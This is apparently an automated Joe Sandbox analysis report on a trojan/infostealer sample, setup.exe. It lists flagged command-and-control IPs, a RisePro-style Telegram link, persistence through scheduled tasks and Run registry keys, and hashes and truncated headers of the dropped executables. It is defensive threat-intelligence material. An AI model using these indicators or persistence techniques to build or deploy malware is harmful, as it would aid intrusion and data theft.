https://t.me/RiseProSUPPORTy	RageMP131.exe, 0000001B.00000002.6959624442.0000000001540000.00000004.00000020.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.117.186.192	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
147.45.47.155	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	true
104.26.5.15	db-ip.com	United States	13335	CLOUDFLARENETUS	false
77.91.77.66	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	true
172.217.23.110	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.110	play.google.com	United States	15169	GOOGLEUS	false
142.250.184.228	www.google.com	United States	15169	GOOGLEUS	false
172.217.18.110	www3.l.google.com	United States	15169	GOOGLEUS	false
216.58.206.46	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
77.91.77.81	unknown	Russian Federation	42861	FOTONTELECOM-TRANSIT-ASFOTONTELECOMISPRU	false

Private

IP
192.168.2.7
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1460137
Start date and time:	2024-06-20 15:37:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	30
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@59/21@14/14
EGA Information:	Successful, ratio: 40%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 72.247.153.162, 192.229.221.95, 142.250.185.131, 172.217.16.206, 108.177.15.84, 34.104.35.123, 142.250.184.195, 142.250.185.227, 142.250.186.170, 142.250.185.202, 142.250.185.138, 142.250.181.234, 142.250.186.42, 142.250.185.106, 142.250.184.234, 216.58.206.74, 172.217.18.106, 172.217.23.106, 142.250.185.170, 216.58.206.42, 142.250.185.74, 142.250.186.74, 142.250.185.234, 142.250.74.202, 142.250.184.202, 216.58.212.170, 93.184.221.240, 142.250.185.67, 216.58.206.78, 74.125.206.84
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, self.events.data.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
Execution Graph export aborted for target b6042db502.exe, PID 7332 because it is empty
Execution Graph export aborted for target explortu.exe, PID 4764 because there are no executed function
Execution Graph export aborted for target setup.exe, PID 6256 because it is empty
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: setup.exe

Simulations

Behavior and APIs

Time	Type	Description
09:38:02	API Interceptor	1016301x Sleep call for process: explortu.exe modified
09:38:17	API Interceptor	2997x Sleep call for process: axplong.exe modified
09:38:47	API Interceptor	13518230x Sleep call for process: eaa97795e9.exe modified
09:38:54	API Interceptor	9011297x Sleep call for process: MPGPH131.exe modified
09:39:04	API Interceptor	8360990x Sleep call for process: RageMP131.exe modified
15:37:59	Task Scheduler	Run new task: explortu path: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
15:38:14	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe
15:38:17	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run eaa97795e9.exe C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
15:38:21	Task Scheduler	Run new task: MPGPH131 HR path: C:\ProgramData\MPGPH131\MPGPH131.exe
15:38:21	Task Scheduler	Run new task: MPGPH131 LG path: C:\ProgramData\MPGPH131\MPGPH131.exe
15:38:25	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe
15:38:33	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run eaa97795e9.exe C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
15:38:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run RageMP131 C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Process:	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2471424
Entropy (8bit):	7.965962599496389
Encrypted:	false
SSDEEP:	49152:EDTQn5SaM9LcmBuyMsBgZwFr85s9kJI7:8QEN9LPMPsws9kK
MD5:	CA515D624D046E04A75136AB4E44D2D6
SHA1:	38386388904193C8E3FDC127C84E01B0900151A9
SHA-256:	9563F375FA92FC677E28774948C2DC3DA57B1C00C5FC9323F32FDBBE615A1579
SHA-512:	D0FEDEDA96FEE657C9A209F7C66C7C2D3A51B5B1339312F5A3E409E53D5244A8AB43CDE6A5DF94022F9A9839297C4ABE3A1794D319E04A1611C83EB70070EE9A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|.......P`...........@...........................`......i&...@.................................^...r.......8....................>`..............................=`..............................6..@................... . ............................@....rsrc...8...........................@....idata ............................@... ..,.........................@...lprblcfc......E.....................@...njkxwkyq.....@`.......%.............@....taggant.0...P`.."....%.............@...........................................................................................................................................................................................

C:\Users\user\1000015002\b6042db502.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.953236759776668
Encrypted:	false
SSDEEP:	49152:LXZsN0jjwt+8QHtVkpui/UanJHpGLOL6ULZ6H8:LXZ7jjcQHPkn/UaJHh+Ul6c
MD5:	1259EEE53EAE1FC7B96F6DFEB18C47D7
SHA1:	3849B890056B61C8582D23BF9FA5567A9BDE4206
SHA-256:	C09519F94E2E17B649A57F01FB0D0F69608FC897E8242BA9B43CAB1F5FA2F304
SHA-512:	EE8FB6435A01F3348FB9898CFA856552E3DDF2A4DCB267505B15F1D00129B8F63EAB2B516ADA4220E79ADBFB10B139F4B44C2E456A514860DFE6944C7E0EF900
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....^f.............................@K...........@..........................pK..........@.................................X...l...........................H&K..............................%K..................................................... . ............................@....rsrc...............................@....idata ............................@... ...........................@...fxenntlj.....p1.....................@...rfqkatsz.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2400256
Entropy (8bit):	7.958993393494748
Encrypted:	false
SSDEEP:	49152:eDyr/agGi9x5XT9I35KUch65SuUKF1o6Nj0Yn5:eW25i/V06SS/Y66NoA
MD5:	69A4A65B5EC85EA408BE9CD4CD98302B
SHA1:	0018D4EFEA874BC4CC82ED0913A8E92B106D9760
SHA-256:	4012C033D90C0145F80B0BDFC10972FB5AF52704E99ED63A3116930668762695
SHA-512:	B019F1739B194E9251C631FDABE414592F1BD2A8056C8ABD14FFC2506660DFA256C39F477880FC29BD21355DE15033653A96FB6B6E3921D3573B2CB208A315A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L.....tf.........."...................V...........@..........................@V.....6.%...@...@.......@.....................K..._....@..\|a....................U.............................h.U..................................................... . .0.......8..................@....rsrc...\|a...@...`...H..............@....idata ............................@... .p.........................@...scsndyuu.....0<.....................@...ijglijhd......V......z$.............@....taggant.0....V.."...~$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2471424
Entropy (8bit):	7.965962599496389
Encrypted:	false
SSDEEP:	49152:EDTQn5SaM9LcmBuyMsBgZwFr85s9kJI7:8QEN9LPMPsws9kK
MD5:	CA515D624D046E04A75136AB4E44D2D6
SHA1:	38386388904193C8E3FDC127C84E01B0900151A9
SHA-256:	9563F375FA92FC677E28774948C2DC3DA57B1C00C5FC9323F32FDBBE615A1579
SHA-512:	D0FEDEDA96FEE657C9A209F7C66C7C2D3A51B5B1339312F5A3E409E53D5244A8AB43CDE6A5DF94022F9A9839297C4ABE3A1794D319E04A1611C83EB70070EE9A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|.......P`...........@...........................`......i&...@.................................^...r.......8....................>`..............................=`..............................6..@................... . ............................@....rsrc...8...........................@....idata ............................@... ..,.........................@...lprblcfc......E.....................@...njkxwkyq.....@`.......%.............@....taggant.0...P`.."....%.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.953236759776668
Encrypted:	false
SSDEEP:	49152:LXZsN0jjwt+8QHtVkpui/UanJHpGLOL6ULZ6H8:LXZ7jjcQHPkn/UaJHh+Ul6c
MD5:	1259EEE53EAE1FC7B96F6DFEB18C47D7
SHA1:	3849B890056B61C8582D23BF9FA5567A9BDE4206
SHA-256:	C09519F94E2E17B649A57F01FB0D0F69608FC897E8242BA9B43CAB1F5FA2F304
SHA-512:	EE8FB6435A01F3348FB9898CFA856552E3DDF2A4DCB267505B15F1D00129B8F63EAB2B516ADA4220E79ADBFB10B139F4B44C2E456A514860DFE6944C7E0EF900
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....^f.............................@K...........@..........................pK..........@.................................X...l...........................H&K..............................%K..................................................... . ............................@....rsrc...............................@....idata ............................@... ...........................@...fxenntlj.....p1.....................@...rfqkatsz.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sarra[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2396672
Entropy (8bit):	7.966709234141744
Encrypted:	false
SSDEEP:	49152:uTfCt05nEcpqTTX5rqseSVYC4tDLM/gF1XiDhvXDc2RB:uBVEcpqTTprqseof/gFZiYMB
MD5:	DBE65272E4A37A1235DE255289FC2369
SHA1:	E3AD68E61E26C644A51418414166A7E91D51F07B
SHA-256:	4B51AFAF33E5356BE499D6831CAED67432B12F1EC349ED8D84D6E5B41E86B83A
SHA-512:	78C66D4BF3A46FE508312BDEEA3CB66578B669E249F05CBA7D524705CE09F38CAE741F36AE87CDE680E240C1BDAE253582A3B1A12DBA63B03867D399A7320144
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....f........]...........@...........................].......$...@.................................^...r.......4...................tf].............................$f]..............................6..@................... . ............................@....rsrc...4...........................@....idata ............................@... ..+.........................@...rixklhlm......C.....................@...kyzvntvb.....p]......j$.............@....taggant.0....].."...p$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\RageMP131\RageMP131.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2471424
Entropy (8bit):	7.965962599496389
Encrypted:	false
SSDEEP:	49152:EDTQn5SaM9LcmBuyMsBgZwFr85s9kJI7:8QEN9LPMPsws9kK
MD5:	CA515D624D046E04A75136AB4E44D2D6
SHA1:	38386388904193C8E3FDC127C84E01B0900151A9
SHA-256:	9563F375FA92FC677E28774948C2DC3DA57B1C00C5FC9323F32FDBBE615A1579
SHA-512:	D0FEDEDA96FEE657C9A209F7C66C7C2D3A51B5B1339312F5A3E409E53D5244A8AB43CDE6A5DF94022F9A9839297C4ABE3A1794D319E04A1611C83EB70070EE9A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|.......P`...........@...........................`......i&...@.................................^...r.......8....................>`..............................=`..............................6..@................... . ............................@....rsrc...8...........................@....idata ............................@... ..,.........................@...lprblcfc......E.....................@...njkxwkyq.....@`.......%.............@....taggant.0...P`.."....%.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2471424
Entropy (8bit):	7.965962599496389
Encrypted:	false
SSDEEP:	49152:EDTQn5SaM9LcmBuyMsBgZwFr85s9kJI7:8QEN9LPMPsws9kK
MD5:	CA515D624D046E04A75136AB4E44D2D6
SHA1:	38386388904193C8E3FDC127C84E01B0900151A9
SHA-256:	9563F375FA92FC677E28774948C2DC3DA57B1C00C5FC9323F32FDBBE615A1579
SHA-512:	D0FEDEDA96FEE657C9A209F7C66C7C2D3A51B5B1339312F5A3E409E53D5244A8AB43CDE6A5DF94022F9A9839297C4ABE3A1794D319E04A1611C83EB70070EE9A
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......j.....s...s...s.e.p.%.s.e.v...s.e.t./.s..y..*.s..yw.=.s..yp.4.s..yv.u.s.e.w.6.s.e.u./.s.e.r.5.s...r...s..zz.2.s..z../.s..../.s..zq./.s.Rich..s.................PE..L....iLf...............'.....\|.......P`...........@...........................`......i&...@.................................^...r.......8....................>`..............................=`..............................6..@................... . ............................@....rsrc...8...........................@....idata ............................@... ..,.........................@...lprblcfc......E.....................@...njkxwkyq.....@`.......%.............@....taggant.0...P`.."....%.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000017001\8bcaec3fef.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2400256
Entropy (8bit):	7.958993393494748
Encrypted:	false
SSDEEP:	49152:eDyr/agGi9x5XT9I35KUch65SuUKF1o6Nj0Yn5:eW25i/V06SS/Y66NoA
MD5:	69A4A65B5EC85EA408BE9CD4CD98302B
SHA1:	0018D4EFEA874BC4CC82ED0913A8E92B106D9760
SHA-256:	4012C033D90C0145F80B0BDFC10972FB5AF52704E99ED63A3116930668762695
SHA-512:	B019F1739B194E9251C631FDABE414592F1BD2A8056C8ABD14FFC2506660DFA256C39F477880FC29BD21355DE15033653A96FB6B6E3921D3573B2CB208A315A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@............................n......~............{.......{......{.......z....{......Rich...................PE..L.....tf.........."...................V...........@..........................@V.....6.%...@...@.......@.....................K..._....@..\|a....................U.............................h.U..................................................... . .0.......8..................@....rsrc...\|a...@...`...H..............@....idata ............................@... .p.........................@...scsndyuu.....0<.....................@...ijglijhd......V......z$.............@....taggant.0....V.."...~$.............@...........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Download File

Process:	C:\Users\user\1000015002\b6042db502.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1888256
Entropy (8bit):	7.953236759776668
Encrypted:	false
SSDEEP:	49152:LXZsN0jjwt+8QHtVkpui/UanJHpGLOL6ULZ6H8:LXZ7jjcQHPkn/UaJHh+Ul6c
MD5:	1259EEE53EAE1FC7B96F6DFEB18C47D7
SHA1:	3849B890056B61C8582D23BF9FA5567A9BDE4206
SHA-256:	C09519F94E2E17B649A57F01FB0D0F69608FC897E8242BA9B43CAB1F5FA2F304
SHA-512:	EE8FB6435A01F3348FB9898CFA856552E3DDF2A4DCB267505B15F1D00129B8F63EAB2B516ADA4220E79ADBFB10B139F4B44C2E456A514860DFE6944C7E0EF900
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....^f.............................@K...........@..........................pK..........@.................................X...l...........................H&K..............................%K..................................................... . ............................@....rsrc...............................@....idata ............................@... ...........................@...fxenntlj.....p1.....................@...rfqkatsz.....0K.....................@....taggant.0...@K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1890304
Entropy (8bit):	7.950522523899095
Encrypted:	false
SSDEEP:	24576:1/JK2aIjA7qco3fFT9eSzR160c8LE8x+dyh9tfzHEBZ/QJc0erHIuoDaFtTNihZi:VlfA7kvFJRPpAC+UdTmtQCtouortLka
MD5:	20FE52F3BA934B9B7454C194F44D74D0
SHA1:	F38C3041926F329DAC459BACCE67850DC58AB15A
SHA-256:	3DCA9B74C06BABAE491AEF6495A256D6D26A4539CDC680B64EA4E0DAEE9CF603
SHA-512:	DE74EAA8FCD2DC40DA40F09E4C69F41C63282C1D70F352FE3E6F0B7EF70318F5252E520574D428F1BD5C24DC6D55ACAB9F109B6A6C36718DF1F9EAD25EFFCCFC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJXr>.Xr>.Xr>...=.Vr>...;..r>...:.Jr>...=.Nr>...;.-r>...:.Lr>...?.Kr>.Xr?..r>...7.Yr>.....Yr>...<.Yr>.RichXr>.........................PE..L...WYPf..............................J...........@...........................K.....0.....@.................................V...j....p......................(.J..............................J..................................................... . .`..........................@....rsrc........p......................@....idata ............................@... .`*.........................@...rcpodcma......0.....................@...xhzzwohn......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\setup.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Reputation:	unknown
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\rage131MP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\1000016001\eaa97795e9.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.931208948910323
Encrypted:	false
SSDEEP:	3:L0iTWQVn:wwF
MD5:	89AF48BD003DA704C39238E7A8460123
SHA1:	3E66B3480AFD6FF0E53EEA88AFA11A3F112CA296
SHA-256:	17FC7536D6D68F4C007298B0A8D93579777C68F4E092D15B4620D7898B29C075
SHA-512:	10ECCC2C0946DFF39598F193401A8DEE20993F6AB1B54D2D9C19C0CCF5D25DB4D82A98547923331277DCEADACE380683F4A72304E87101BE73215322E69B4667
Malicious:	false
Reputation:	unknown
Preview:	1718896635347

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 12:38:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.980320749931696
Encrypted:	false
SSDEEP:	48:8XbwdbTDzrHPidAKZdA19ehwiZUklqeh6y+3:8LIb95y
MD5:	1AC2217B85723E754F1BAADC5A292F94
SHA1:	A2AE2DFA30969CA77E39E84C312F26B16C7533D4
SHA-256:	4118B48E8FACD4081451FF3D3463D4E94E18A6578BACB26A027EA31FE8F2BC6D
SHA-512:	6CDA3FC4B7E64AF1AE3D104EAAD69037533CDE5522DDB641CEC36CE6EFBF4A8E767396218473ADD530940652E9EE146660461CDFB754684A665D7A3505FD61E6
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......!....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Jun 20 12:38:26 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.993460570490146
Encrypted:	false
SSDEEP:	48:8FdbTDzrHPidAKZdA1weh/iZUkAQkqehpy+2:8zb39Q8y
MD5:	D98F11B88E00A08C99BD34C681AEAF6A
SHA1:	8BBE696EDCD2F413C004D2585B421D6543887D09
SHA-256:	2DA5DC25CF7174AAC6C8CAC919F9F5FF5F89D4D3C35AC31430BB05B765FFAC44
SHA-512:	CC50E34DD7CDCDD7485D1F64A84BA5495200ED33B14A07698BD5D8AA4A3D5156C4BC832D84F6A970F6C55D1EA9D5D68DD8715EE58B5FF643E9319047C4F89B2E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....... ....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.X.l....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.X.l....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.X.l....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.X.l..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.X.l...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............`.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.003699987396987
Encrypted:	false
SSDEEP:	48:8x8dbTDzsHPidAKZdA14tseh7sFiZUkmgqeh7sTy+BX:8xcbqnFy
MD5:	935330C3C53489DA16502DEBE10CB485
SHA1:	0DAB6DFE67AC546CD01467EC59F912DCD5F4D295
SHA-256:	89E5758484C83F9454E02D48700BEBE36498167A1AD0C854000DB92DF17A62EA
SHA-512:	DC9DB7BFEA2BB2E5CE0831687FF5AF37178FAA5F34EAAB9A20F3E10BCA16E9CD111ED075787E0648A927C8BF82FE1E8128FEF291877CE31507025065E7E7BC20
Malicious:	false
Reputation:	unknown
